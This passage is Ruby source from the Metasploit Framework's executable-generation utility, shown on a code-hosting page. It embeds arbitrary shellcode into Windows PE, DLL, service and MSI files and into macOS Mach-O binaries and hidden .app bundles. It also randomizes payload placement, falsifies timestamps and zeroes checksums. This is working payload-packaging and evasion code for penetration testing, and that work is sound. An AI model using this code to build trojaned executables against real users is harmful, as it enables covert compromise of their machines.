CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/msf/util/exe.rb
Views: 1904
1
# -*- coding: binary -*-
2
3
module Msf
4
module Util
5
#
6
# The class provides methods for creating and encoding executable file
7
# formats for various platforms. It is a replacement for the previous
8
# code in Rex::Text
9
#
10
11
class EXE
12
13
require 'rex'
14
require 'rex/peparsey'
15
require 'rex/pescan'
16
require 'rex/random_identifier'
17
require 'rex/zip'
18
require 'rex/powershell'
19
require 'metasm'
20
require 'digest/sha1'
21
# Generates a default template
22
#
23
# @param opts [Hash] The options hash
24
# @option opts [String] :template, the template type for the executable
25
# @option opts [String] :template_path, the path for the template
26
# @option opts [Bool] :fallback, If there are no options set, default options will be used
27
# @param exe [String] Template type. If undefined, will use the default.
28
# @param path [String] Where you would like the template to be saved.
29
def self.set_template_default(opts, exe = nil, path = nil)
30
# If no path specified, use the default one
31
path ||= File.join(Msf::Config.data_directory, "templates")
32
33
# If there's no default name, we must blow it up.
34
unless exe
35
raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called ' +
36
'without default exe name!'
37
end
38
39
# Use defaults only if nothing is specified
40
opts[:template_path] ||= path
41
opts[:template] ||= exe
42
43
# Only use the path when the filename contains no separators.
44
unless opts[:template].include?(File::SEPARATOR)
45
opts[:template] = File.join(opts[:template_path], opts[:template])
46
end
47
48
# Check if it exists now
49
return if File.file?(opts[:template])
50
# If it failed, try the default...
51
if opts[:fallback]
52
default_template = File.join(path, exe)
53
if File.file?(default_template)
54
# Perhaps we should warn about falling back to the default?
55
opts.merge!({ :fellback => default_template })
56
opts[:template] = default_template
57
end
58
end
59
end
60
61
# self.read_replace_script_template
62
#
63
# @param filename [String] Name of the file
64
# @param hash_sub [Hash]
65
def self.read_replace_script_template(filename, hash_sub)
66
template_pathname = File.join(Msf::Config.data_directory, "templates",
67
"scripts", filename)
68
template = ''
69
File.open(template_pathname, "rb") {|f| template = f.read}
70
template % hash_sub
71
end
72
73
74
# Generates a ZIP file.
75
#
76
# @param files [Array<Hash>] Items to compress. Each item is a hash that supports these options:
77
# * :data - The content of the file.
78
# * :fname - The file path in the ZIP file
79
# * :comment - A comment
80
# @example Compressing two files, one in a folder called 'test'
81
# Msf::Util::EXE.to_zip([{data: 'AAAA', fname: "file1.txt"}, {data: 'data', fname: 'test/file2.txt'}])
82
# @return [String]
83
def self.to_zip(files)
84
zip = Rex::Zip::Archive.new
85
86
files.each do |f|
87
data = f[:data]
88
fname = f[:fname]
89
comment = f[:comment] || ''
90
zip.add_file(fname, data, comment)
91
end
92
93
zip.pack
94
end
95
96
# Executable generators
97
#
98
# @param arch [Array<String>] The architecture of the system (i.e :x86, :x64)
99
# @param plat [String] The platform (i.e Linux, Windows, OSX)
100
# @param code [String]
101
# @param opts [Hash] The options hash
102
# @param framework [Msf::Framework] The framework of you want to use
103
# @return [String]
104
# @return [NilClass]
105
def self.to_executable(framework, arch, plat, code = '', opts = {})
106
if elf? code or macho? code
107
return code
108
end
109
110
if arch.index(ARCH_X86)
111
112
if plat.index(Msf::Module::Platform::Windows)
113
return to_win32pe(framework, code, opts)
114
end
115
116
if plat.index(Msf::Module::Platform::Linux)
117
return to_linux_x86_elf(framework, code)
118
end
119
120
if plat.index(Msf::Module::Platform::OSX)
121
return to_osx_x86_macho(framework, code)
122
end
123
124
if plat.index(Msf::Module::Platform::BSD)
125
return to_bsd_x86_elf(framework, code)
126
end
127
128
if plat.index(Msf::Module::Platform::Solaris)
129
return to_solaris_x86_elf(framework, code)
130
end
131
132
# XXX: Add remaining x86 systems here
133
end
134
135
if arch.index(ARCH_X64)
136
if (plat.index(Msf::Module::Platform::Windows))
137
return to_win64pe(framework, code, opts)
138
end
139
140
if plat.index(Msf::Module::Platform::Linux)
141
return to_linux_x64_elf(framework, code, opts)
142
end
143
144
if plat.index(Msf::Module::Platform::OSX)
145
return to_osx_x64_macho(framework, code)
146
end
147
148
if plat.index(Msf::Module::Platform::BSD)
149
return to_bsd_x64_elf(framework, code)
150
end
151
end
152
153
if arch.index(ARCH_ARMLE)
154
if plat.index(Msf::Module::Platform::OSX)
155
return to_osx_arm_macho(framework, code)
156
end
157
158
if plat.index(Msf::Module::Platform::Linux)
159
return to_linux_armle_elf(framework, code)
160
end
161
162
# XXX: Add remaining ARMLE systems here
163
end
164
165
if arch.index(ARCH_AARCH64)
166
if plat.index(Msf::Module::Platform::Linux)
167
return to_linux_aarch64_elf(framework, code)
168
end
169
170
if plat.index(Msf::Module::Platform::OSX)
171
return to_osx_aarch64_macho(framework, code)
172
end
173
174
# XXX: Add remaining AARCH64 systems here
175
end
176
177
if arch.index(ARCH_PPC)
178
if plat.index(Msf::Module::Platform::OSX)
179
return to_osx_ppc_macho(framework, code)
180
end
181
# XXX: Add PPC OS X and Linux here
182
end
183
184
if arch.index(ARCH_MIPSLE)
185
if plat.index(Msf::Module::Platform::Linux)
186
return to_linux_mipsle_elf(framework, code)
187
end
188
# XXX: Add remaining MIPSLE systems here
189
end
190
191
if arch.index(ARCH_MIPSBE)
192
if plat.index(Msf::Module::Platform::Linux)
193
return to_linux_mipsbe_elf(framework, code)
194
end
195
# XXX: Add remaining MIPSLE systems here
196
end
197
nil
198
end
199
200
# Clears the DYNAMIC_BASE flag for a Windows executable
201
#
202
# @param exe [String] The raw executable to be modified by the method
203
# @param pe [Rex::PeParsey::Pe] Use Rex::PeParsey::Pe.new_from_file
204
# @return [String] the modified executable
205
def self.clear_dynamic_base(exe, pe)
206
c_bits = ("%32d" %pe.hdr.opt.DllCharacteristics.to_s(2)).split('').map { |e| e.to_i }.reverse
207
c_bits[6] = 0 # DYNAMIC_BASE
208
new_dllcharacteristics = c_bits.reverse.join.to_i(2)
209
210
# PE Header Pointer offset = 60d
211
# SizeOfOptionalHeader offset = 94h
212
dll_ch_offset = exe[60, 4].unpack('h4')[0].reverse.hex + 94
213
exe[dll_ch_offset, 2] = [new_dllcharacteristics].pack("v")
214
exe
215
end
216
217
# self.to_win32pe
218
#
219
# @param framework [Msf::Framework]
220
# @param code [String]
221
# @param opts [Hash]
222
# @option opts [String] :sub_method
223
# @option opts [String] :inject, Code to inject into the exe
224
# @option opts [String] :template
225
# @option opts [Symbol] :arch, Set to :x86 by default
226
# @return [String]
227
def self.to_win32pe(framework, code, opts = {})
228
229
# For backward compatibility, this is roughly equivalent to 'exe-small' fmt
230
if opts[:sub_method]
231
if opts[:inject]
232
raise RuntimeError, 'NOTE: using the substitution method means no inject support'
233
end
234
235
# use
236
self.to_win32pe_exe_sub(framework, code, opts)
237
end
238
239
# Allow the user to specify their own EXE template
240
set_template_default(opts, "template_x86_windows.exe")
241
242
# Copy the code to a new RWX segment to allow for self-modifying encoders
243
payload = win32_rwx_exec(code)
244
245
# Create a new PE object and run through sanity checks
246
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
247
248
#try to inject code into executable by adding a section without affecting executable behavior
249
if opts[:inject]
250
injector = Msf::Exe::SegmentInjector.new({
251
:payload => code,
252
:template => opts[:template],
253
:arch => :x86,
254
:secname => opts[:secname]
255
})
256
return injector.generate_pe
257
end
258
259
text = nil
260
pe.sections.each {|sec| text = sec if sec.name == ".text"}
261
262
raise RuntimeError, "No .text section found in the template" unless text
263
264
unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
265
raise RuntimeError, "The .text section does not contain an entry point"
266
end
267
268
p_length = payload.length + 256
269
270
# If the .text section is too small, append a new section instead
271
if text.size < p_length
272
appender = Msf::Exe::SegmentAppender.new({
273
:payload => code,
274
:template => opts[:template],
275
:arch => :x86,
276
:secname => opts[:secname]
277
})
278
return appender.generate_pe
279
end
280
281
# Store some useful offsets
282
off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)
283
off_beg = pe.rva_to_file_offset(text.base_rva)
284
285
# We need to make sure our injected code doesn't conflict with the
286
# the data directories stored in .text (import, export, etc)
287
mines = []
288
pe.hdr.opt['DataDirectory'].each do |dir|
289
next if dir.v['Size'] == 0
290
next unless text.contains_rva?(dir.v['VirtualAddress'])
291
delta = pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg
292
mines << [delta, dir.v['Size']]
293
end
294
295
# Break the text segment into contiguous blocks
296
blocks = []
297
bidx = 0
298
mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|
299
bbeg = bidx
300
bend = mine[0]
301
blocks << [bidx, bend-bidx] if bbeg != bend
302
bidx = mine[0] + mine[1]
303
end
304
305
# Add the ending block
306
blocks << [bidx, text.size - bidx] if bidx < text.size - 1
307
308
# Find the largest contiguous block
309
blocks.sort!{|a,b| b[1]<=>a[1]}
310
block = blocks.first
311
312
# TODO: Allow the entry point in a different block
313
if payload.length + 256 >= block[1]
314
raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+257} found:#{block[1]})"
315
end
316
317
# Make a copy of the entire .text section
318
data = text.read(0,text.size)
319
320
# Pick a random offset to store the payload
321
poff = rand(block[1] - payload.length - 256)
322
323
# Flip a coin to determine if EP is before or after
324
eloc = rand(2)
325
eidx = nil
326
327
# Pad the entry point with random nops
328
entry = generate_nops(framework, [ARCH_X86], rand(200) + 51)
329
330
# Pick an offset to store the new entry point
331
if eloc == 0 # place the entry point before the payload
332
poff += 256
333
eidx = rand(poff-(entry.length + 5))
334
else # place the entry pointer after the payload
335
poff -= [256, poff].min
336
eidx = rand(block[1] - (poff + payload.length + 256)) + poff + payload.length
337
end
338
339
# Relative jump from the end of the nops to the payload
340
entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')
341
342
# Mangle 25% of the original executable
343
1.upto(block[1] / 4) do
344
data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")
345
end
346
347
# Patch the payload and the new entry point into the .text
348
data[block[0] + poff, payload.length] = payload
349
data[block[0] + eidx, entry.length] = entry
350
351
# Create the modified version of the input executable
352
exe = ''
353
File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}
354
355
a = [text.base_rva + block.first + eidx].pack("V")
356
exe[exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = a
357
exe[off_beg, data.length] = data
358
359
tds = pe.hdr.file.TimeDateStamp
360
exe[exe.index([tds].pack('V')), 4] = [tds - rand(0x1000000)].pack("V")
361
362
cks = pe.hdr.opt.CheckSum
363
unless cks == 0
364
exe[exe.index([cks].pack('V')), 4] = [0].pack("V")
365
end
366
367
exe = clear_dynamic_base(exe, pe)
368
pe.close
369
370
exe
371
end
372
373
# self.to_winpe_only
374
#
375
# @param framework [Msf::Framework] The framework of you want to use
376
# @param code [String]
377
# @param opts [Hash]
378
# @param arch [String] Default is "x86"
379
def self.to_winpe_only(framework, code, opts = {}, arch=ARCH_X86)
380
381
# Allow the user to specify their own EXE template
382
set_template_default(opts, "template_#{arch}_windows.exe")
383
384
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
385
386
exe = ''
387
File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}
388
389
pe_header_size = 0x18
390
entryPoint_offset = 0x28
391
section_size = 0x28
392
characteristics_offset = 0x24
393
virtualAddress_offset = 0x0c
394
sizeOfRawData_offset = 0x10
395
396
sections_table_offset =
397
pe._dos_header.v['e_lfanew'] +
398
pe._file_header.v['SizeOfOptionalHeader'] +
399
pe_header_size
400
401
sections_table_characteristics_offset = sections_table_offset + characteristics_offset
402
403
sections_header = []
404
pe._file_header.v['NumberOfSections'].times do |i|
405
section_offset = sections_table_offset + (i * section_size)
406
sections_header << [
407
sections_table_characteristics_offset + (i * section_size),
408
exe[section_offset,section_size]
409
]
410
end
411
412
addressOfEntryPoint = pe.hdr.opt.AddressOfEntryPoint
413
414
# look for section with entry point
415
sections_header.each do |sec|
416
virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0]
417
sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0]
418
characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0]
419
420
if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)
421
importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0]
422
if (importsTable - addressOfEntryPoint) < code.length
423
#shift original entry point to prevent tables overwriting
424
addressOfEntryPoint = importsTable - code.length + 4
425
426
entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset
427
exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V')
428
end
429
# put this section writable
430
characteristics |= 0x8000_0000
431
newcharacteristics = [characteristics].pack('V')
432
exe[sec[0],newcharacteristics.length] = newcharacteristics
433
end
434
end
435
436
# put the shellcode at the entry point, overwriting template
437
entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint)
438
exe[entryPoint_file_offset,code.length] = code
439
exe = clear_dynamic_base(exe, pe)
440
exe
441
end
442
443
# self.to_win32pe_old
444
#
445
# @param framework [Msf::Framework] The framework of you want to use
446
# @param code [String]
447
# @param opts [Hash]
448
def self.to_win32pe_old(framework, code, opts = {})
449
450
payload = code.dup
451
# Allow the user to specify their own EXE template
452
set_template_default(opts, "template_x86_windows_old.exe")
453
454
pe = ''
455
File.open(opts[:template], "rb") {|fd| pe = fd.read(fd.stat.size)}
456
457
if payload.length <= 2048
458
payload << Rex::Text.rand_text(2048-payload.length)
459
else
460
raise RuntimeError, "The EXE generator now has a max size of 2048 " +
461
"bytes, please fix the calling module"
462
end
463
464
bo = pe.index('PAYLOAD:')
465
unless bo
466
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag"
467
end
468
pe[bo, payload.length] = payload
469
470
pe[136, 4] = [rand(0x100000000)].pack('V')
471
472
ci = pe.index("\x31\xc9" * 160)
473
unless ci
474
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\""
475
end
476
cd = pe.index("\x31\xc9" * 160, ci + 320)
477
unless cd
478
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\""
479
end
480
rc = pe[ci+320, cd-ci-320]
481
482
# 640 + rc.length bytes of room to store an encoded rc at offset ci
483
enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32)
484
lft = 640+rc.length - enc.length
485
486
buf = enc + Rex::Text.rand_text(640+rc.length - enc.length)
487
pe[ci, buf.length] = buf
488
489
# Make the data section executable
490
xi = pe.index([0xc0300040].pack('V'))
491
pe[xi,4] = [0xe0300020].pack('V')
492
493
# Add a couple random bytes for fun
494
pe << Rex::Text.rand_text(rand(64)+4)
495
pe
496
end
497
498
499
# Splits a string into a number of assembly push operations
500
#
501
# @param string [String] String to be used
502
# @return [String] null terminated string as assembly push ops
503
def self.string_to_pushes(string)
504
str = string.dup
505
# Align string to 4 bytes
506
rem = (str.length) % 4
507
if rem > 0
508
str << "\x00" * (4 - rem)
509
pushes = ''
510
else
511
pushes = "h\x00\x00\x00\x00"
512
end
513
# string is now 4 bytes aligned with null byte
514
515
# push string to stack, starting at the back
516
while str.length > 0
517
four = 'h'+str.slice!(-4,4)
518
pushes << four
519
end
520
521
pushes
522
end
523
524
# self.exe_sub_method
525
#
526
# @param code [String]
527
# @param opts [Hash]
528
# @option opts [Symbol] :exe_type
529
# @option opts [String] :service_exe
530
# @option opts [Boolean] :sub_method
531
# @return [String]
532
def self.exe_sub_method(code,opts ={})
533
pe = self.get_file_contents(opts[:template])
534
535
case opts[:exe_type]
536
when :service_exe
537
opts[:exe_max_sub_length] ||= 8192
538
name = opts[:servicename]
539
if name
540
bo = pe.index('SERVICENAME')
541
unless bo
542
raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag"
543
end
544
pe[bo, 11] = [name].pack('a11')
545
end
546
pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method]
547
when :dll
548
opts[:exe_max_sub_length] ||= 4096
549
when :exe_sub
550
opts[:exe_max_sub_length] ||= 4096
551
end
552
553
bo = self.find_payload_tag(pe, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag")
554
555
if code.length <= opts.fetch(:exe_max_sub_length)
556
pe[bo, code.length] = [code].pack("a*")
557
else
558
raise RuntimeError, "The EXE generator now has a max size of " +
559
"#{opts[:exe_max_sub_length]} bytes, please fix the calling module"
560
end
561
562
if opts[:exe_type] == :dll
563
mt = pe.index('MUTEX!!!')
564
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
565
%w{ Local\Semaphore:Default Local\Event:Default }.each do |name|
566
offset = pe.index(name)
567
pe[offset,26] = "Local\\#{Rex::Text.rand_text_alphanumeric(20)}" if offset
568
end
569
570
if opts[:dll_exitprocess]
571
exit_thread = "\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00"
572
exit_process = "\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73"
573
et_index = pe.index(exit_thread)
574
if et_index
575
pe[et_index,exit_process.length] = exit_process
576
else
577
raise RuntimeError, "Unable to find and replace ExitThread in the DLL."
578
end
579
end
580
end
581
582
pe
583
end
584
585
# self.to_win32pe_exe_sub
586
#
587
# @param framework [Msf::Framework] The framework of you want to use
588
# @param code [String]
589
# @param opts [Hash]
590
# @return [String]
591
def self.to_win32pe_exe_sub(framework, code, opts = {})
592
# Allow the user to specify their own DLL template
593
set_template_default(opts, "template_x86_windows.exe")
594
opts[:exe_type] = :exe_sub
595
exe_sub_method(code,opts)
596
end
597
598
# self.to_win64pe
599
#
600
# @param framework [Msf::Framework] The framework of you want to use
601
# @param code [String]
602
# @param opts [Hash]
603
# @return [String]
604
def self.to_win64pe(framework, code, opts = {})
605
# Allow the user to specify their own EXE template
606
set_template_default(opts, "template_x64_windows.exe")
607
608
# Try to inject code into executable by adding a section without affecting executable behavior
609
if opts[:inject]
610
injector = Msf::Exe::SegmentInjector.new({
611
:payload => code,
612
:template => opts[:template],
613
:arch => :x64,
614
:secname => opts[:secname]
615
})
616
return injector.generate_pe
617
end
618
619
# Append a new section instead
620
appender = Msf::Exe::SegmentAppender.new({
621
:payload => code,
622
:template => opts[:template],
623
:arch => :x64,
624
:secname => opts[:secname]
625
})
626
return appender.generate_pe
627
end
628
629
# Embeds shellcode within a Windows PE file implementing the Windows
630
# service control methods.
631
#
632
# @param framework [Object]
633
# @param code [String] shellcode to be embedded
634
# @option opts [Boolean] :sub_method use substitution technique with a
635
# service template PE
636
# @option opts [String] :servicename name of the service, not used in
637
# substitution technique
638
#
639
# @return [String] Windows Service PE file
640
def self.to_win32pe_service(framework, code, opts = {})
641
set_template_default(opts, "template_x86_windows_svc.exe")
642
if opts[:sub_method]
643
# Allow the user to specify their own service EXE template
644
opts[:exe_type] = :service_exe
645
return exe_sub_method(code,opts)
646
else
647
ENV['MSF_SERVICENAME'] = opts[:servicename]
648
649
opts[:framework] = framework
650
opts[:payload] = 'stdin'
651
opts[:encoder] = '@x86/service,'+(opts[:serviceencoder] || '')
652
653
# XXX This should not be required, it appears there is a dependency inversion
654
# See https://github.com/rapid7/metasploit-framework/pull/9851
655
venom_generator = Msf::PayloadGenerator.new(opts)
656
code_service = venom_generator.multiple_encode_payload(code)
657
return to_winpe_only(framework, code_service, opts)
658
end
659
end
660
661
# self.to_win64pe_service
662
#
663
# @param framework [Msf::Framework] The framework of you want to use
664
# @param code [String]
665
# @param opts [Hash]
666
# @option [String] :exe_type
667
# @option [String] :service_exe
668
# @option [String] :dll
669
# @option [String] :inject
670
# @return [String]
671
def self.to_win64pe_service(framework, code, opts = {})
672
# Allow the user to specify their own service EXE template
673
set_template_default(opts, "template_x64_windows_svc.exe")
674
opts[:exe_type] = :service_exe
675
exe_sub_method(code,opts)
676
end
677
678
# self.set_template_default_winpe_dll
679
#
680
# Set the default winpe DLL template. It will select the template based on the parameters provided including the size
681
# architecture and an optional flavor. See data/templates/src/pe for template source code and build tools.
682
#
683
# @param opts [Hash]
684
# @param arch The architecture, as one the predefined constants.
685
# @param size [Integer] The size of the payload.
686
# @param flavor [Nil,String] An optional DLL flavor, one of 'mixed_mode' or 'dccw_gdiplus'
687
private_class_method def self.set_template_default_winpe_dll(opts, arch, size, flavor: nil)
688
return if opts[:template].present?
689
690
# dynamic size upgrading is only available when MSF selects the template because there's currently no way to
691
# determine the amount of space that is available in the template provided by the user so it's assumed to be 4KiB
692
match = {4096 => '', 262144 => '.256kib'}.find { |k,v| size <= k }
693
if match
694
opts[:exe_max_sub_length] = match.first
695
size_suffix = match.last
696
end
697
698
arch = {ARCH_X86 => 'x86', ARCH_X64 => 'x64'}.fetch(arch, nil)
699
raise ArgumentError, 'The specified arch is not supported, no DLL templates are available for it.' if arch.nil?
700
701
if flavor.present?
702
unless %w[mixed_mode dccw_gdiplus].include?(flavor)
703
raise ArgumentError, 'The specified flavor is not supported, no DLL templates are available for it.'
704
end
705
706
flavor = '_' + flavor
707
end
708
709
set_template_default(opts, "template_#{arch}_windows#{flavor}#{size_suffix}.dll")
710
end
711
712
# self.to_win32pe_dll
713
#
714
# @param framework [Msf::Framework] The framework of you want to use
715
# @param code [String]
716
# @param opts [Hash]
717
# @option [String] :exe_type
718
# @option [String] :dll
719
# @option [String] :inject
720
# @return [String]
721
def self.to_win32pe_dll(framework, code, opts = {})
722
flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil
723
set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: flavor)
724
opts[:exe_type] = :dll
725
726
if opts[:inject]
727
self.to_win32pe(framework, code, opts)
728
else
729
exe_sub_method(code,opts)
730
end
731
end
732
733
# self.to_win64pe_dll
734
#
735
# @param framework [Msf::Framework] The framework of you want to use
736
# @param code [String]
737
# @param opts [Hash]
738
# @option [String] :exe_type
739
# @option [String] :dll
740
# @option [String] :inject
741
# @return [String]
742
def self.to_win64pe_dll(framework, code, opts = {})
743
flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil
744
set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: flavor)
745
746
opts[:exe_type] = :dll
747
748
if opts[:inject]
749
raise RuntimeError, 'Template injection unsupported for x64 DLLs'
750
else
751
exe_sub_method(code,opts)
752
end
753
end
754
755
756
# self.to_win32pe_dccw_gdiplus_dll
757
#
758
# @param framework [Msf::Framework] The framework of you want to use
759
# @param code [String]
760
# @param opts [Hash]
761
# @option [String] :exe_type
762
# @option [String] :dll
763
# @option [String] :inject
764
# @return [String]
765
def self.to_win32pe_dccw_gdiplus_dll(framework, code, opts = {})
766
set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: 'dccw_gdiplus')
767
to_win32pe_dll(framework, code, opts)
768
end
769
770
# self.to_win64pe_dccw_gdiplus_dll
771
#
772
# @param framework [Msf::Framework] The framework of you want to use
773
# @param code [String]
774
# @param opts [Hash]
775
# @option [String] :exe_type
776
# @option [String] :dll
777
# @option [String] :inject
778
# @return [String]
779
def self.to_win64pe_dccw_gdiplus_dll(framework, code, opts = {})
780
set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: 'dccw_gdiplus')
781
to_win64pe_dll(framework, code, opts)
782
end
783
784
# Wraps an executable inside a Windows .msi file for auto execution when run
785
#
786
# @param framework [Msf::Framework] The framework of you want to use
787
# @param exe [String]
788
# @param opts [Hash]
789
# @option opts [String] :msi_template_path
790
# @option opts [String] :msi_template
791
# @return [String]
792
def self.to_exe_msi(framework, exe, opts = {})
793
if opts[:uac]
794
opts[:msi_template] ||= "template_windows.msi"
795
else
796
opts[:msi_template] ||= "template_nouac_windows.msi"
797
end
798
replace_msi_buffer(exe, opts)
799
end
800
801
#self.replace_msi_buffer
802
#
803
# @param pe [String]
804
# @param opts [String]
805
# @option [String] :msi_template
806
# @option [String] :msi_template_path
807
# @return [String]
808
def self.replace_msi_buffer(pe, opts)
809
opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, "templates")
810
811
if opts[:msi_template].include?(File::SEPARATOR)
812
template = opts[:msi_template]
813
else
814
template = File.join(opts[:msi_template_path], opts[:msi_template])
815
end
816
817
msi = self.get_file_contents(template)
818
819
section_size = 2**(msi[30..31].unpack('v')[0])
820
821
# This table is one of the few cases where signed values are needed
822
sector_allocation_table = msi[section_size..section_size*2].unpack('l<*')
823
824
buffer_chain = []
825
826
# This is closely coupled with the template provided and ideally
827
# would be calculated from the dir stream?
828
current_secid = 5
829
830
until current_secid == -2
831
buffer_chain << current_secid
832
current_secid = sector_allocation_table[current_secid]
833
end
834
835
buffer_size = buffer_chain.length * section_size
836
837
if pe.size > buffer_size
838
raise RuntimeError, "MSI Buffer is not large enough to hold the PE file"
839
end
840
841
pe_block_start = 0
842
pe_block_end = pe_block_start + section_size - 1
843
844
buffer_chain.each do |section|
845
block_start = section_size * (section + 1)
846
block_end = block_start + section_size - 1
847
pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}")
848
msi[block_start..block_end] = pe_block
849
pe_block_start = pe_block_end + 1
850
pe_block_end += section_size
851
end
852
853
msi
854
end
855
856
# self.to_osx_arm_macho
857
#
858
# @param framework [Msf::Framework] The framework of you want to use
859
# @param code [String]
860
# @param opts [Hash]
861
# @option [String] :template
862
# @return [String]
863
def self.to_osx_arm_macho(framework, code, opts = {})
864
865
# Allow the user to specify their own template
866
set_template_default(opts, "template_armle_darwin.bin")
867
868
mo = self.get_file_contents(opts[:template])
869
bo = self.find_payload_tag(mo, "Invalid OSX ArmLE Mach-O template: missing \"PAYLOAD:\" tag")
870
mo[bo, code.length] = code
871
mo
872
end
873
874
# self.to_osx_aarch64_macho
875
#
876
# @param framework [Msf::Framework] The framework of you want to use
877
# @param code [String]
878
# @param opts [Hash]
879
# @option [String] :template
880
# @return [String]
881
def self.to_osx_aarch64_macho(framework, code, opts = {})
882
883
# Allow the user to specify their own template
884
set_template_default(opts, "template_aarch64_darwin.bin")
885
886
mo = self.get_file_contents(opts[:template])
887
bo = self.find_payload_tag(mo, "Invalid OSX Aarch64 Mach-O template: missing \"PAYLOAD:\" tag")
888
mo[bo, code.length] = code
889
Payload::MachO.new(mo).sign
890
mo
891
end
892
893
# self.to_osx_ppc_macho
894
#
895
# @param framework [Msf::Framework] The framework of you want to use
896
# @param code [String]
897
# @param opts [Hash]
898
# @option [String] :template
899
# @return [String]
900
def self.to_osx_ppc_macho(framework, code, opts = {})
901
902
# Allow the user to specify their own template
903
set_template_default(opts, "template_ppc_darwin.bin")
904
905
mo = self.get_file_contents(opts[:template])
906
bo = self.find_payload_tag(mo, "Invalid OSX PPC Mach-O template: missing \"PAYLOAD:\" tag")
907
mo[bo, code.length] = code
908
mo
909
end
910
911
# self.to_osx_x86_macho
912
#
913
# @param framework [Msf::Framework] The framework of you want to use
914
# @param code [String]
915
# @param opts [Hash]
916
# @option [String] :template
917
# @return [String]
918
def self.to_osx_x86_macho(framework, code, opts = {})
919
920
# Allow the user to specify their own template
921
set_template_default(opts, "template_x86_darwin.bin")
922
923
mo = self.get_file_contents(opts[:template])
924
bo = self.find_payload_tag(mo, "Invalid OSX x86 Mach-O template: missing \"PAYLOAD:\" tag")
925
mo[bo, code.length] = code
926
mo
927
end
928
929
# self.to_osx_x64_macho
930
#
931
# @param framework [Msf::Framework] The framework of you want to use
932
# @param code [String]
933
# @param opts [Hash]
934
# @option [String] :template
935
# @return [String]
936
def self.to_osx_x64_macho(framework, code, opts = {})
937
set_template_default(opts, "template_x64_darwin.bin")
938
939
macho = self.get_file_contents(opts[:template])
940
bin = self.find_payload_tag(macho,
941
"Invalid Mac OS X x86_64 Mach-O template: missing \"PAYLOAD:\" tag")
942
macho[bin, code.length] = code
943
macho
944
end
945
946
# self.to_osx_app
947
# @param opts [Hash] The options hash
948
# @option opts [Hash] :exe_name (random) the name of the macho exe file (never seen by the user)
949
# @option opts [Hash] :app_name (random) the name of the OSX app
950
# @option opts [Hash] :hidden (true) hide the app when it is running
951
# @option opts [Hash] :plist_extra ('') some extra data to shove inside the Info.plist file
952
# @return [String] zip archive containing an OSX .app directory
953
def self.to_osx_app(exe, opts = {})
954
exe_name = opts.fetch(:exe_name) { Rex::Text.rand_text_alpha(8) }
955
app_name = opts.fetch(:app_name) { Rex::Text.rand_text_alpha(8) }
956
hidden = opts.fetch(:hidden, true)
957
plist_extra = opts.fetch(:plist_extra, '')
958
959
app_name.chomp!(".app")
960
app_name += ".app"
961
962
visible_plist = if hidden
963
%Q|
964
<key>LSBackgroundOnly</key>
965
<string>1</string>
966
|
967
else
968
''
969
end
970
971
info_plist = %Q|
972
<?xml version="1.0" encoding="UTF-8"?>
973
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
974
<plist version="1.0">
975
<dict>
976
<key>CFBundleExecutable</key>
977
<string>#{exe_name}</string>
978
<key>CFBundleIdentifier</key>
979
<string>com.#{exe_name}.app</string>
980
<key>CFBundleName</key>
981
<string>#{exe_name}</string>#{visible_plist}
982
<key>CFBundlePackageType</key>
983
<string>APPL</string>
984
#{plist_extra}
985
</dict>
986
</plist>
987
|
988
989
zip = Rex::Zip::Archive.new
990
zip.add_file("#{app_name}/", '')
991
zip.add_file("#{app_name}/Contents/", '')
992
zip.add_file("#{app_name}/Contents/Resources/", '')
993
zip.add_file("#{app_name}/Contents/MacOS/", '')
994
# Add the macho and mark it as executable
995
zip.add_file("#{app_name}/Contents/MacOS/#{exe_name}", exe).last.attrs = 0o777
996
zip.add_file("#{app_name}/Contents/Info.plist", info_plist)
997
zip.add_file("#{app_name}/Contents/PkgInfo", 'APPLaplt')
998
